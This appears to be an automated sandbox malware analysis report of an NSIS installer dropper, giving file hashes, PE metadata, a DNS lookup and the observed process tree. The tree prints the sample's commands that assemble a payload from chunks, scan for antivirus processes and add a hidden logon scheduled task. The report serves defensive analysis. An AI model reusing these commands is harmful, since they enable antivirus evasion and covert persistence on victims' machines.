Preview:	..u..E.P.M......~..u...j..A\...u.M..Y...E...P.E.PV.b....M.....\...M.......K.u.M..\|Y...E...P.E.P.E.PV.u........M......[....t.......u..u..E...P........M..[...M.....M......._^[..]...U...L.U.VW.}..R..M.jH.....^.u....f9p..u.u..D......@.Pjp.............u..M..X....73.}...E.G........@.f;E.u.B..f;E.u.J..j@_f;.}.u...t...x.F..}..E.VPW.E.M.M.M.P.E...........y.....Q......U.j@^...f9p.u.I.....jGX...L..P..t...u.....}...E.uQf.E.M.3.j.f.E...s...M.......M.E.E.P..........u..E..WPj..O....M.E..d....V....}..uP...M.j4....s.....E.4..E.P.M....P...(s...M...Z...u..E.P.u..E..WPj..o.........}.........M..o....M...E..A..E..A..E..A..M..E....W...u..u...\|.I....rL..u....P..E...~L....M.f.E.3.j.f.E...r...E..M.E.E.P..........u..E..WPj..S....M.E..h....U.M......u.........t?...M.j4....r...M.......M..u....#r...E...P.u..E.WPj..u....E..M...Y...E...yl.U.3..j....Zf9P.t1.....E.....@.f;E.u.A..f;E.u.I..~.j.Zf;.u....B.....3.Wh.....H..........Wh....H....8....3..M.....M...q...._^..]...U..V

C:\Users\user\AppData\Local\Temp\Textile

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	6.463566611894195
Encrypted:	false
SSDEEP:	768:R6Yk4iARefFilP4Bwh1QwTMvcVPDqdU7SIc/jnsRf4rJsb25v0hL4G+CAiwo8Z8N:jpAfkF/bIQ2dU7SP/jnsF4rJsx9RZqen
MD5:	FF117EE701CD0CC70F5AA5EE105E7FC2
SHA1:	14C5AE8946A164DB95FA6F5D5C9056CAFD3BC00E
SHA-256:	826254D57A974632F6D4FBE15143428E1E8B2C994B2713D2574B8521020CB4CC
SHA-512:	B3877F279FE564331AC3ADBB0243849C2E273A907C0811F21242386C56DFEDD2337D7346009B8653C65C587BCCCB086497F27661794804661F5DB16AFE871F6F
Malicious:	false
Preview:	......Q..........E..t .M..t....QPV.........u..........u..;v..f..0..cv..j..d.........t........H..J..H..J..@..B.....3...Fv.......G..F..7v...3........s.........v...}.....v...}.............v...M.B..E............E.P.E.PV.:`.......w...V..M....f.x..uJ.8.uE.D..f.x..u..]......v.....U..v...U..H.......F........@.Pjr.W....>w...U..H.......F........@.Ph...../.....w...M.j.jv.......w....`....E.P.[....e......v....@..M.Ph.........ps......D.R.@.R.@...D.R.@...D...D...D.. D.. D.. D..A..P0..x....`....y0..t.Q.M....`....e.....:x...e.....nx...u...R.E....w...u.Q...*....w....\.........H..E....sw....\....y....cw...u...R.....Sw...u..E...PR......?w..j..E...PR....,w..j..E...PR.....w..j..E...PR..c....w..j..E...PR.$.....v...z..v..G.f9H.u%.8 u ......D.....0..0...H..E.A...v..j.ji.......v...E...PR.....v....h....^....v..j.h.......R....{v...u..E.j.P.E..PS../...K..E...f.x....k\|....@...Pjr......X\|....rL..p..iy......DtL..@tL......h..C........._y......sz.......y...y......DtL..@tL......h..C..U.

C:\Users\user\AppData\Local\Temp\Tolerance

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.696145415110408
Encrypted:	false
SSDEEP:	192:rhFGUS99p27x5yAMOUorM0pYPtlernjuPzQ0nMi49:rhFTqU7x5MOUyM0pNDj21na9
MD5:	F2D4E68D23921408E8C54C8035114F8F
SHA1:	5E4CA9AFDD5FDBAF7B6776BF29FDA61F45D015AB
SHA-256:	90E63DA6B9ADC3FE85ADE996E6E7E9A85496377E99B68B94AC779A376C1754D9
SHA-512:	2EED0CD7FB7C83E8340032E1B324AFC1C4D685F547A270344C2E295F3634CBE0D7E7282B20ABA5BF7BE21AA3502CC44C284BB7A0F0D3C5CB442D622FD8352964
Malicious:	false
Preview:	.................................................................~...p..............:...H...f...Z...N...D...T...`...l...x...............8...,... ...........................................................................................2...<...L...^...n...\|..........................................@...T...b...v.......................................*...<...H...:...r.......................................(...8...H...Z...p.......................................,...B...T...f...x............................... ...>...`...z...............................(...:...P...`...l...........................................,...8...L...d...z.......................&...............................x...`...t...f.......R...................................2...D...N...Z...f...v.......................................$...4...F...R...b...\|.......................^...................0..........................&...'...........%...)....... .......M................................................................

C:\Users\user\AppData\Local\Temp\Wright

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	7.998889553327324
Encrypted:	true
SSDEEP:	3072:YznTb9/1w+b5mt4Y9H18V8X9eL54mQz6JpLpae/5piyoe5W:AjBb5mtZ186XMLimQu9aK55W
MD5:	C51B4BD93615040665B5A2FD0EE12A2B
SHA1:	B88E06D7B5EC2710669AF73F4BEF2789241C1B88
SHA-256:	890299C53891428A3AE23628CBA0E711E5C408F40A9DF4AD6C06CA882FFFD453
SHA-512:	2DD7A51BCA31BCAF30C07EBEAAA2A7F798843C3B149C1676696991CCB43828BDFD89E5CF4B2514B43EA8BE5AB051125B78B05A5D124FAA5BDA75EE7B2321097D
Malicious:	true
Preview:	,....... ...s=.p...9.f.s...Z..ct..&......h8....R..e..1ILa9...pp'%....N.S......2.j....C....N.7y.........>...'f..;.v~.....}.W......6g..o...HZ.@8.^qFX..nn..,..f...CV.k.7.f....Z.....Am....Y.4..Z...RT.q...E...I.^....~.dQP.2wG.7HG....f,..].iz.....9..>!.nS.8Ly.szVp.4...1..w.....k+.)Pp.r.)..42Ykn.[..F...g&ZXo.b.{......-..[.. ./..D8A..^..q...o..Sj.].B:...es&.B..9.....T...e.8.?.Z.[W../.j...@.....e"..H....Z..%...E..?!.e..x...{..G......w..>H3..2Y..3.~,.c C-&9.......4Z%...".-..?. ..q;.i....,-'D.3.`u..Bt.Q..5Z'..=...G..WK....E&?....nR.,........r.kwF<x..h=...3f..+..w.......u;.......'.^ j..l~.?.x...0.....e.qU.i.L.}e.....t...'.9b.g....zh.Y-PV......4b>.abR....%S..K..#Z....u....[n].b....i..Q.>...,e.U{.T8o....U.r..G..z]....L.......m.h.<.>XT....m..\|.I...1W.........uj .&.F!...X9....~.....3.}.e.~!.`....j...Q....s..f....k..(......).k;^X.b.-.6.B....w....?..0.QP~...5......y..i..p...j.AC{M.k.x.......&.y.:...{...<i.....".)./..t...V......O.}]...K......y...

C:\Users\user\AppData\Local\Temp\nsb6504.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	2851237
Entropy (8bit):	7.7670046225977964
Encrypted:	false
SSDEEP:	49152:fU/L21jiKzl/uottM3ozttK2HmwNMPgM6Oua4EP2FjIdPbSdoHei8KMzL:fUz212KzPtx3XHVsFdPJd1eixMzL
MD5:	34F6EF5FF4355B400EFEBFD0E367A1C6
SHA1:	948D80525D510FA654B3B418866B140A5084180E
SHA-256:	C357A25B576D7400187755EB828673F86358DA31B51793D30C568D3DFF603AFB
SHA-512:	57842B27497E3FC1C5C808EF6312706AB1E74F8E359398354B476AA5037997622E24915984ECCE5F680B435692AF2E850906C4DF70FE32496BD9F30D7C42F544
Malicious:	false
Preview:	<4......,.......,.......D........#.......3......<4......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.996343811013664
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'418'898 bytes
MD5:	814ff8b10d8641b03fcf1e9efc1005bf
SHA1:	25cb52ef822cf0077a11278d936569ed5f5d92d4
SHA256:	976137409e5d45839870a834b4b06bd46495a39d216bb0f31f1f0370fe1b5d94
SHA512:	4426e9d8f799cdd7b05fa7c40a4bb62d0b95e95a280d85dd7aaf808aabdd4752fd2621e6d073cd881c0176ef2b72a270a79d9a45f18da357d75c1e7dc084bc12
SSDEEP:	49152:Qg2wVptJl9PSgu4zNdH4aZI1vq/j0gBVI2azDaKIk5sJd8FB7TVysFP:NXd9P+4ZdHjIS0gBSDXInr8L7xFP
TLSH:	6AB5334E02E326B6EE5302326D240F167BC99F132077F70ED753368A605A997617E399
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......`.................f...*.....

File Icon


Icon Hash:	60e098b8b892b2b0

Static PE Info

General

Entrypoint:	0x4035d8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x60FC91EE [Sat Jul 24 22:19:26 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c05041e01f84e1ccca9c4451f3b6a383

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080C8h]
call dword ptr [004080CCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A26Ch], eax
je 00007F7E0CB12DC3h
push ebx
call 00007F7E0CB160C9h
cmp eax, ebx
je 00007F7E0CB12DB9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F7E0CB16043h
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F7E0CB12D9Ch
push 0000000Bh
call 00007F7E0CB1609Ch
push 00000009h
call 00007F7E0CB16095h
push 00000007h
mov dword ptr [0042A264h], eax
call 00007F7E0CB16089h
cmp eax, ebx
je 00007F7E0CB12DC1h
push 0000001Eh
call eax
test eax, eax
je 00007F7E0CB12DB9h
or byte ptr [0042A26Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [0042A338h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 00421708h
call dword ptr [0040818Ch]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0x4e88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6572	0x6600	869e1d11bbf88d92521c022fa6f3d4f0	False	0.6623008578431373	data	6.453919385955138	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1398	0x1400	79e286249499b713a2ddbee33baa50da	False	0.449609375	data	5.1367175827370986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	b6d02c867f7bfbcf68de2cfeea94fd73	False	0.5078125	data	4.096809083627214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b000	0x4e88	0x5000	d532dfd53e9ce17a7f111164b80425d7	False	0.6568359375	data	6.503943451432764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3b1f0	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.4458909682668836
RT_ICON	0x3d858	0x1bd2	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0015445099691098
RT_ICON	0x3f430	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6968085106382979
RT_DIALOG	0x3f898	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3f998	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3fab8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3fb18	0x30	data	English	United States	0.875
RT_MANIFEST	0x3fb48	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 17, 2024 17:58:06.806751966 CEST	58086	53	192.168.2.4	1.1.1.1
Jun 17, 2024 17:58:06.823071003 CEST	53	58086	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 17, 2024 17:58:06.806751966 CEST	192.168.2.4	1.1.1.1	0xdad3	Standard query (0)	JzyWtlVaDZyw.JzyWtlVaDZyw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 17, 2024 17:58:06.823071003 CEST	1.1.1.1	192.168.2.4	0xdad3	Name error (3)	JzyWtlVaDZyw.JzyWtlVaDZyw	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	11:58:00
Start date:	17/06/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	2'418'898 bytes
MD5 hash:	814FF8B10D8641B03FCF1E9EFC1005BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:58:01
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:58:01
Start date:	17/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:58:03
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x440000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:58:03
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0xb40000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x440000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0xb40000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 812297
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "IndieBeachesHonIo" Janet
Imagebase:	0x30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:58:04
Start date:	17/06/2024
Path:	C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif
Wow64 process (32bit):	true
Commandline:	812297\Shopzilla.pif 812297\g
Imagebase:	0xba0000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:58:05
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 15
Imagebase:	0x920000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:58:05
Start date:	17/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST
Imagebase:	0x400000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:58:06
Start date:	17/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:58:07
Start date:	17/06/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js"
Imagebase:	0x7ff7312a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:58:07
Start date:	17/06/2024
Path:	C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif" "C:\Users\user\AppData\Local\TechMind360 Innovations Co\L"
Imagebase:	0x690000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	1392
Total number of Limit Nodes:	19

Executed Functions

Function 004035D8 Relevance: 80.9, APIs: 33, Strings: 13, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004035FB
GetVersion.KERNEL32 ref: 00403601
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403634
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 00403671
OleInitialize.OLE32(00000000), ref: 00403678
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 00403694
GetCommandLineW.KERNEL32(00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 004036A9
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000007,00000009,0000000B), ref: 004036E1

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040381B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040382C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403838
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040384C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403854
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403865
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040386D
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 00403881

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

ExitProcess.KERNEL32(00000007,?,00000007,00000009,0000000B), ref: 00403947
OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 0040394C
ExitProcess.KERNEL32 ref: 0040396D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403980
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 0040398F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 0040399A
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000007,?,00000007,00000009,0000000B), ref: 004039A6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004039C2
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,00000009,?,00000007,00000009,0000000B), ref: 00403A1C
CopyFileW.KERNEL32(00438800,00420F08,00000001,?,00000007,00000009,0000000B), ref: 00403A30
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000,?,00000007,00000009,0000000B), ref: 00403A5D
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA8
AdjustTokenPrivileges.ADVAPI32 ref: 00403ACB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AF0
ExitProcess.KERNEL32 ref: 00403B13

Strings

UXTHEME, xrefs: 00403628, 0040362D, 00403633
SeShutdownPrivilege, xrefs: 00403AA2
